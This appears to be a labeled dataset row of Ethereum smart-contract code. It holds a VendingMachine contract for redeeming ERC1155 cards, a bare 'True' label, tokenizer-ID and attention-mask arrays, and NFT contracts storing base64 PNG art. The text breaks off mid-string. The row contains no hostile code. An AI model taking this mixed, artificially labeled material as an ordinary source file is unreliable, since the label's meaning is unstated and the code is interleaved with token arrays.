function _incrementTokenTypeId() private {
_currentTokenID++;
}
}
/**
* This contract was forked from Rope's VendingMachine contract:
* https://etherscan.io/address/0x4c842514fb55323acc51aa575ec4b7d1be1e0694#code
*
* All code attribution goes to Rope and the Rope development team:
* https://rope.lol
*/
contract VendingMachine is Ownable {
ERC1155Tradable public RMU;
IERC20 public LPAddress;
mapping(uint256 => uint256) public cardCosts;
event CardAdded(uint256 card, uint256 points);
event Redeemed(address indexed user, uint256 amount);
constructor(ERC1155Tradable _RMUAddress, IERC20 _LPAddress) public {
RMU = _RMUAddress;
LPAddress = _LPAddress;
}
function addCard(uint256 cardId, uint256 amount) public onlyOwner {
cardCosts[cardId] = amount;
emit CardAdded(cardId, amount);
}
function redeem(uint256 card, uint256 quantity) public {
require(cardCosts[card] != 0, "Card not found");
require(LPAddress.balanceOf(msg.sender) >= SafeMath.mul(cardCosts[card],quantity), "Not enough points to redeem for card");
require(RMU.totalSupply(card) < RMU.maxSupply(card), "Max cards minted");
LPAddress.transferFrom(msg.sender,0x0000000000000000000000000000000000000000, SafeMath.mul(cardCosts[card],quantity));
RMU.mint(msg.sender, card, quantity, "");
emit Redeemed(msg.sender, SafeMath.mul(cardCosts[card],quantity));
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6021,
1011,
5709,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
12609,
1011,
2184,
1011,
5890,
1008,
1013,
1013,
1008,
6714,
10362,
24148,
2075,
12816,
8164,
2182,
2000,
9699,
2000,
6182,
15671,
2232,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3115,
8785,
16548,
4394,
1999,
1996,
5024,
3012,
2653,
1012,
1008,
1013,
3075,
8785,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2922,
1997,
2048,
3616,
1012,
1008,
1013,
3853,
4098,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
1037,
1028,
1027,
1038,
1029,
1037,
1024,
1038,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
10479,
1997,
2048,
3616,
1012,
1008,
1013,
3853,
8117,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
1037,
1026,
1038,
1029,
1037,
1024,
1038,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2779,
1997,
2048,
3616,
1012,
1996,
2765,
2003,
8352,
2875,
1008,
5717,
1012,
1008,
1013,
3853,
2779,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
1006,
1037,
1009,
1038,
1007,
1013,
1016,
2064,
2058,
12314,
1010,
2061,
2057,
16062,
2709,
1006,
1037,
1013,
1016,
1007,
1009,
1006,
1038,
1013,
1016,
1007,
1009,
1006,
1006,
1037,
1003,
1016,
1009,
1038,
1003,
1016,
1007,
1013,
1016,
1007,
1025,
1065,
1065,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
3206,
6123,
1063,
1013,
1013,
4064,
4722,
9570,
2953,
1010,
2000,
4652,
2111,
2013,
20706,
21296,
2075,
1013,
1013,
2019,
6013,
1997,
2023,
3206,
1010,
2029,
2323,
2022,
2109,
3081,
12839,
1012,
9570,
2953,
1006,
1007,
4722,
1063,
1065,
1013,
1013,
14017,
10606,
2102,
1011,
4487,
19150,
1011,
3025,
1011,
2240,
2053,
1011,
4064,
1011,
5991,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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NTKSIeueoPt9o3zh7C7cTJpOABJq7Hu8UEOAh/C3t1rKmdm6zehg7V+K7gcgRu74M1GaPRCSxqrkOvPAg8hBBp+oSrp6kAQ2Cvu9orV695tt9vNrW0g8A4EKnEaOOTdQd5dvZkAVz1lbb+voH3tTZ5vDIDhmo80sBBYAHPbxIVcue9hdBDIr8I98Ou5ax69UyEB4MNBIIS6BH5NF9WA2uL+nrePcrqgVYA7F+4EdsNwl4eEnt8odkBlcSmwG9Id0Jktzt6UAaiCfPDgiIe3DtQzJTBnxPm7PN32dExKgSMFTCWwHJlli5l9dl5vVNbsPQgV2A0d6LLQZ2FwCXp+oaxV4fV3AtW34cGrk4mn53RZhaeARZvRAvW35jsYWc/psxr41KoO7Jc8BZSLdCHSSpcrDdwJLHh8sHakwlUbLSWwr3lFGq5UlGfOjFoGwGHJGw27+VrtdRXfNBQQXDja8cDoqzzPw9vP6v4FjaSPkP9hjRUAAAAASUVORK5CYII=";
}
contract Weapons3 {
string public constant weapon38 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAwUExURUdwTBgbNC42UA8LGklZe2+InmAsLIhLKzQcJ7zN0JqwuRAUH96eQb53K+jBcEaCMq6ZrtcAAAABdFJOUwBA5thmAAAKgklEQVRo3syav2/bSBbHKc/dIoCaDEMV2W2WQ6rYuJE59MGXbU70qNhUG0VT2NcscABlIEqaBcQDLgZyCKAYcLKAcptC1wW4FFblXS8MAyqus1LILuMUxpZBCid/w703lCwqEmn9YHEsLMOWP/rOe2/evPfGmjbhIaUitbQUH1K6S9f/z4HFtIGUikKawLvUSBXopA10UwaS1WLKwFLKwFVJUwZWEJhiILplSmklRaDjpQwkRpFSmSbQQWClkC6wJNMDrgCP5uS99LxsAtBIcc0GAmHNabkl41GdpbnmjEltIcz01pwzdSGkl56fEViSFZor30gLaK9zV5q5SvF6OkAPUhfkRKMiiukAyxgvq2V0TSoSjRBY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";
string public constant weapon39 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAzUExURUdwTFdyd00rMnpIQTlKUOfVs613VxAUHyQVJyAuNyVWLhkzLRUdKEEdMUaCMnWnQ3UkOJW1dn4AAAABdFJOUwBA5thmAAAGLklEQVR42u3by27jMBIFUNWDde+V7CT//7WzIGXLaTdmMWiJA7i2QYCD4kNksbwsn/jEJz7xiU984hOf+MQnPvGJT3ziE5/4xCc+8YlP/P8GZvcV5s7alMAjCpWYEPgQoiYF7kK0GYELqg0hmsWMwNyFswJjCNHK5lzGYdUKC1rGnBthhVXR2WxWYIWVh5dVmxKY1SIZtGhTZrALGW7RMudMYVZjBFulzQk0VfNgK5sUmKZisNJy0kloJgbTTHMClWYMT8s5gQuUlh6cGmgMzurrQobPC1ygTA9OfK2DktMDJ78Ua/qyAqYXcnYh/SP8X4ExewqnB/oH+Je5tcekU59VjfefO4v3+3RMslprrTX+3FnkD53knbPxdmHwh8H7zySZPPBa488PWwTvvP/cGe7XG198I4PBO+93RkREXGx89bXhInnvf6lOvG6rYWuttSIZrTXeOcaVpHsM4x9CP9dX5LIspJOUJACS8DTWLyGdZwKL47gsQcpMQdavvwRAr1ZceA2wDj4zy0ylWSLNMgVkJsjfQsaZwIPPzBKZZtm5SFkmFlbwOPF43qGw9gQusJTSTFBaCsrs+UzsY+rPIW48bQ7yeSGCpC5MARDSUgksy9IXib/5t3++DfLl0jayJ/RIS+lwlfPzx/hXJpAm7LdLCJlm0h/CE8f4983cDjXynkl7Kbj52WP8C2h51EAp7XvidhReBVygl+oalEJ24bodLk2c5fYJSdnLvutReNkkfFONgZADeBS2aW4FQF8467YdhNOMcS+eA8C2bev319e6LssSCz04ic8sIUnY1u/v73Vfy5wEKBunr0ysD9+y+DxAQZaSJKyPlbwsjDkmIRKyVGYCXbgTJ5mEkGTKfpgF1vX7ezv91PrfhJZmAgRg276/v+ca4w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/jufcg6dOO47jLyyglFqE5xX5drl6RQNOEc+P7CXtKsPCAv9qYReK8oWOxP+e0ROvqn8CroYOPSYWq6cER+zwiG38b8QPIaeFJBFagbMAAAAASUVORK5CYII=";
string public constant weapon17 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAeUExURUdwTCAuNzxJW46gpnpIQVxzh9zi4k0rMq13V7rFxqYBUYIAAAABdFJOUwBA5thmAAAB8klEQVRo3u2azWrjMBRGfVfdWibgLmsZ5QEi4vUUDPa2Ls4LBAzZNSAYP4BhvJ3mhSvH7bK7M4Oh9zzA4ZOu/iw5SRRFURRFURRFUZSfhzGwr25S0idhnq6kMG8N2mYJJtRkQrmGGu1ECRMrjH04scJYZV5Ys+MGF8ZORIUy0sLYiahw6UR2ecjn6ffWhU2zceEU/qBzb2xadjKPgd0DJK8bdt8Teh9NJIWFCS5UFEX5T9iCWqvXldA4SviZzDjLrLHy2qWssDzeI4qDOlFKf48oroOEzh/uwqxn2izWr23OeiZiFPpirUpvGeFrtVYl658YYVl9jUSmKJ2r1pEInUaicDigR8PO4sIzLNzDwp4Xelh4UuHmhG77wv2NFrIzJcm2LyzPxwIVurPHhS/ol7K70ANxgIW28kdWeLrBVdnTZS7P6xGRGzeXf1CVAhXu6TaXQ4wIGjN7ihFBo9g4WfyhMJxwieg7a7g2LxH9ETPGiLHQpDGzdrjdjSkXcTUWXMRqNXIRo/ESjS9cRFsOMWRORVyMMeT7jrp+/jReHrELcjGL8e8I3pCbGLKoZ/AOPzZ7Z8L0TK61j01ekxtWPk9X9Cgm7fwrQclhXyJviaJsBzEpKzQN+4ItYce+D0vb0D+4zCP7QBzmiY340M7fvxB/AMd4eFjVIQ2WAAAAAElFTkSuQmCC";
string public constant weapon18 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOk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DmtSti8jA0qYuTiTPoCfy0b4+BPXsqt+3xxOl7fyXfD7sjoO85jeRnFzl/AcX3jAu5r/XIU5L3nInTOlc0HzpgQQP3X2MUWLQwsGUTbHrb7lhge/COvMu4fPimaMZe/h7l6FWs/Ah5hgLvg27IDYlUC4/2UCrnGnKUxfnt6sMdCRyvVG9I4OelG+kdCfzoXEkC549A7hwpixnssNrCPazG1+woV+U25BsUOG6ahotYmZcua8CIlXlww7VyTzVyUbo4udZhTALFB4zYAbs0TJ+IzK3GbPkYr6lXhWpO6qe8Tv0VC+Qea2RFv+FeLGKWOK1pixVukb5HFNjgiTL6iXg9Zg1n65JtaZoF+BlbRiX9K0A4+98fEv0H8A95klKvDkrK2QAAAABJRU5ErkJggg==";
string public constant weapon33 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAACdQTFRFekhBJBUnTSsyrXdXQR0xEBQf17WUdSQ4OUpQV3J3pTAwIC43////j5e0AwAAAA10Uk5T////////////////AD3oIoYAAANqSURBVHja7NrbcusgDAVQiYttnPz/9x4J8C3J6SQOuHum4qV9XCOBEIrpDr7IgAY0oAENaEADGtCABjSgAQ1oQAMa0IAGNKABDWjA/68IDoxjBARGcOAeFccpAgJXofyLCVyEcUYEinCuwjgnSOC0CGGBVSgZTiNkiqeUhXGeIIEiTGkc2bFkGBSoQkdOMjxDAmUPpomJU5ohI1iETC5N89TxGH8DFCETsRTqhAlMt3F2CkygQBXKJpQAQqZYQ5huAtQ/mMCb0OSUSAAxgVk4ySaEBibN8Q2yDlah5hgWqELNMeKjaRMyPBD74R5v6JOFGMGB98jgwDs7cGBfYRMggQPv8EBnQOBlQAMa0IAGNKABDdgDyOzywgSy8Kgshwhk7331MWIEeeWRQwRe7PsYePBhAmkXwAAHZDoGMMAB1wyLTzMcUIHiK2eEoICS4TWCrh5iggL63RlZqgyBArcyGGCAuzN8qNMw0y3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9NyLgqjKOpK3v294ZW9gtJPBZaIgJPC5xxv1DzP2hu0AcAxjzvze5+3iJinwevQGjnlQcLAPIyEKXyL0CMr7QRSQsMDmOEsIDn+hdhIh3CnixBXMhxCXwxYgAcAS/uhEKgMAlFAogKYUVEh7Xl5Ijti8lD+5LKXmamZmZmflfRURCry3Hb1zC/lUVByESeQ9LCDAOA0ErKCDFwcjP4ID/i3PAP5FWOIvmQo8VAAAAAElFTkSuQmCC";
string public constant weapon69 = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+P+/HgAFhAJ/wlseKgAAAABJRU5ErkJggg==";
}
contract Accessories1 {
string public constant accessories15 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAASUExURUdwTDQcJ1U3QWtOU7SFcwkKFNgv6aMAAAABdFJOUwBA5thmAAABSUlEQVRo3u3YsXXDMAyEYXED39EZ4AAtIJAL2OQC2X+ZFC7SR6jy8Kn/HymRKnAcpZRSSimllFJKKaWU8l/gkdv7NiG3yeBQZrK5zugCkBU8g0tvDgE51b40dWoGjO+MvXNd/u4vX3zq7ErY84w+GBxPvp+MR8pLHAqO/hodnhDsgaHg4OXMCB4MmYyGYFLQRBkNlhSEGWk0GAhLCDYz0GgAwJQgTdTnkuRcQJrSbvJnidn/xFJKKaWUUkoppZT/qSXPgRvH0CO1t3fkFQHQxg5l9TiXYL7vDlebfZZHgDNAXzeXyK2jATb3FnyJfj1uF8GAXdzCOXR7oNy4xUm4fIl7yHD7uCz5KxicQ76Ct79z84uzXy5bQQ/eP4oUXMGghzx0f17bCFqXyUNmCcEDon2epGD7An6DSde5AaTRjHmT5QYAqNly+bsfiuUx9QoVLuYAAAAASUVORK5CYII=";
string public constant accessories16 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAkUExURUdwTDQcJ1U3QWtOU7SFcxAUHxkzLUaCMiVWLgkKFHWnQ9DakSNMKwIAAAABdFJOUwBA5thmAAABo0lEQVRo3u3YMW7bQBCFYW6h1HqPalK+GfkAnGUOIC4PEMRwbpA4J0nqnMJ38OlSqEgfTgDDmE/9j9kllwJ2mkoppZRSSimllFJKKeW9wDm399uE3CaDXZnJ5rrGLABZwWtwaGMXkFOdh1ZdtQaMW8baORbf5psPXnSdlbDmNebOYL9wuzDOKZvYFezzrc/whOAc6Ap2Ls6M4MSQyWgIJgVNlNFgSUGYkUaDgbCEYDMDjQYATAnSRN0PSc4BpCntJN9HzP4mllJKKf/d57cePL394EN2MJJHPPmn5BEfR/aIa/YuPm5P2bsYZg+Z6/7Se27w9GTfk1f94Vfyk/7x+i03+PzyM/lBPydPOH1N/+bUP1cp5d1oyffAjb3rnNrb98grAqD1PZTV4zoE8/3o5Wqz+3gEuAbo4+CI3DU1wNZ9F3yIvpwPF8GALdyFa9fhC+XGXVwJlw9x7zIcfl2G/BYMrl0+goefc/OF67y4bAQ9ePxVpOAKBj3koeP3tY2gzTJ5yCwhOEG0+y8p2D4Cf4NJx7kBpNGMeTfLDQBQd8vl3/0BSPA/zFnNkvEAAAAASUVORK5CYII=";
string public constant accessories4 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories5 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAC1QTFRFAAAAEBQfHi05ExwqNkpTe52dx8/MUnN8ekhBrXdX17WUTSsyNBwn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6UA3Xus9CN9bLbDSGoP/Ib0NYT46nsqrA0Juju7UWOlw/N9l57o1+l+2dvCwaU4WKky2cysNFC1b3qxV63NAwII7hOiDTjdEvgX/c2tB3V/QY4BpKZRPhd6eVdUDyr4+hmJlSuXWvcxqV/HNRMfvSSxygjLW2MKjpYd3Gjye38JWXeLm1ur9ffdjiAlh6cvPVW0YZWvrAMb0B6jU8/cYto7yZmIe2/A0vt0SSS71+xAAAAABJRU5ErkJggg==";
string public constant accessories8 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAqUExURUdwTGAsLDQcJ4hLKxkzLUaCMnWnQyVWLujx5Uq9Lbzog4LfQ9DakajKWPneFucAAAABdFJOUwBA5thmAAAA60lEQVRo3u3VMQ6CMBiG4UJ6gFYvQDkBiAdg4QwujCYsnkMdmVxcXExMXFy8iQeyiYPufkMJ7zMxvSm0/DUGAAAAAAAAAAAAADBfhbiXL8TBUKS+QHnQid94SfD/4CL5YK0+h/qg+F8OTTG3c2PCKvVtzusi+Y84uSVW4iVmlWKJThuMM8xJgyb8FCXBPHznbCY5RbHopMFYrLXBuDH+8yA75qHxThrMfVML3zgqfdyYURg0ZdyYh3RSxAvroh09YX3QDsfz7XgflUG72w/SUWv769BKi91zow3akzrYb8UXVvcSB21rAADT9waMvxs733MztQAAAABJRU5ErkJggg==";
string public constant accessories9 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgBAMAAAB54XoeAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAqUExURUdwTGAsLDQcJ4hLKxkzLSVWLkaCMqjKWHWnQ+jx5Uq9Lbzog4LfQ9DakdVconIAAAABdFJOUwBA5thmAAABOElEQVRo3u3XMW7CMBiGYRP5AA69QNwTkNIDZEjNyhBzAtJObC25QBk7Vmo3xg4dOiEhdWDiXP1bqAMr/oYgvmcAT69+YycSShERERERERERERERERER0eXKwL2kDw7arOsDwoMGvOMrBuOD/c4Hc/Q9xAfBz7IdZpd2b5S96foxJ3nW+R/x7EYcgEfsDRAjGmxQ3mEGGlT2oAgJJrZ9z/Ygt0iKBhqUYo4NysGku8XBHSq9r2Je3ak5Dup7MT59xHSYH+/YNXPv69NHvE7lYJZtUD/MS1VOxhFFOZhNu2PXTOXzro46GPMVgjJg8ftVRT0xt69hx67ZpcqY4Of6/Xu5X4/+BoykX94W/+vREyI4Wy32GT2ZIp4Xt61DsEIE9UcI+gISnD0raFC5R3BQFyHI/+lEROfrB4NhLhG9vZ/4AAAAAElFTkSuQmCC";
}
//unused blanks
contract Accessories2 {
string public constant accessories1 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories2 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories6 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories3 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories7 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories10 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories11 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories12 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories13 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories14 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories17 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories18 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories19 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories20 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
string public constant accessories21 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgAQMAAACxAfVuAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAANQTFRFAAAAp3o92gAAAAF0Uk5TAEDm2GYAAAAZSURBVHic7cEBDQAAAMKg90/t7AEUAAAANw0gAAFn2WgjAAAAAElFTkSuQmCC";
}
//RAMPAGE UPDATE
contract Accessories3 {
string public constant accessories2 = "iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAAC8EZcfAAAAAXNSR0IB2cksfwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAThQTFRFAAAAAAAAybOfsZ6N/+vYMxkS87eoyXdiYCwsrmJQybKfY1RRvbe3cgAOkx09gXRyrmF2qAAA/wQA/////+nYnz8/AAAAnlE/NBkS7dG3jSQ0PiAY/urX/ujVpl1MvURWois56+3pynllAAAAqLWyDgcFHA4KIhEMDAIAgZeWCwQDFR0oMhEKMxkSLhYQMxkSMxkScgAOMxkScgAOMxkSAAAAAAAAAAAAAAAAYCwsYCwsFR0oYCwsYCwsYCwsyXdiyXdiFR0oyXdi87eoYCwsyXdiFR0oyXdiYCwsyXdiYCwsyXdiYCwsyXdiyXdiYCwsYCwsYCwsyXdiYCwsyXdiYCwsYCwsYCwsrmJQrmJQrmJQrmJQFR0ormJQYCwsFR0oYCwsFR0oFR0oYCwsAAAAYCwsYCwsYCws6B39bAAAAGh0Uk5TAP/////////////////////////yCAH///////////////8E////////////Df8p+ChJCEo6FB0XGQjzRQEVEgH9BydBFe0FFxApDX0UAwUMNREHAjQdGgEUEgP5NwLrA/D7Bh4OFDswRxARAAAOG0lEQVR4nO2bh3bb2BGGOUS590aCJGdT1k5ZI0EKgvTuJJtseu+9b/r7v0Fm/plbAFI2uSGWOiecY0uURJOf/ql3AG82F7vYxS52sYtd7P/NiOjcCM832lbnRni+0Xb7sCVkwOpBEzJg/aA1fPiA1bbeQ/hwkPcD0sNJbar2EdLDSZz7AB+MhIxSVc2SkB1/Jp4dE8CGNVwC1mfi2TFqGuFbS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gxCijXSgrnXb5UThZAmzi1j9Vm9I2TPOg6yIINFaO4EqqOIMqlFJdSlaxLzAL4yCMT5EJES2qg67qu6zdQESSVCojhtLlFNGgvUHVbQCAfeYT3Tl/RQK1zK0HXdevNZrPpO7gImYe3XuaYJKECepGi128o2lzcW5y85IJakyle13Xder3ZdMgMaNRIbC4QEhrlGr8BFyZ5b4KacCBc95tNKtj9ASiCUsAKWEtUYuBa3FvsfANwsZimasg9Fui69Xq9Xq+7rus6qAiArVKwe2IHCDIXxD2CrrpVQqDHBF62vePlrssX6z5iXGyEkRjAOOpG1SYe+gnKrnGH2/INL175bOo4Kr5YkBBH3Wqf9ubhtZNKu+ccNeyH2xlIJmCeFs4LWLwHcahR+/FM0qdwmTDPCdggEfe3IzY9B74drvMCJuKBaeF+0+9Mw9bh52EG+qyIh17vN5udadg6Xby5O13C5tKhGD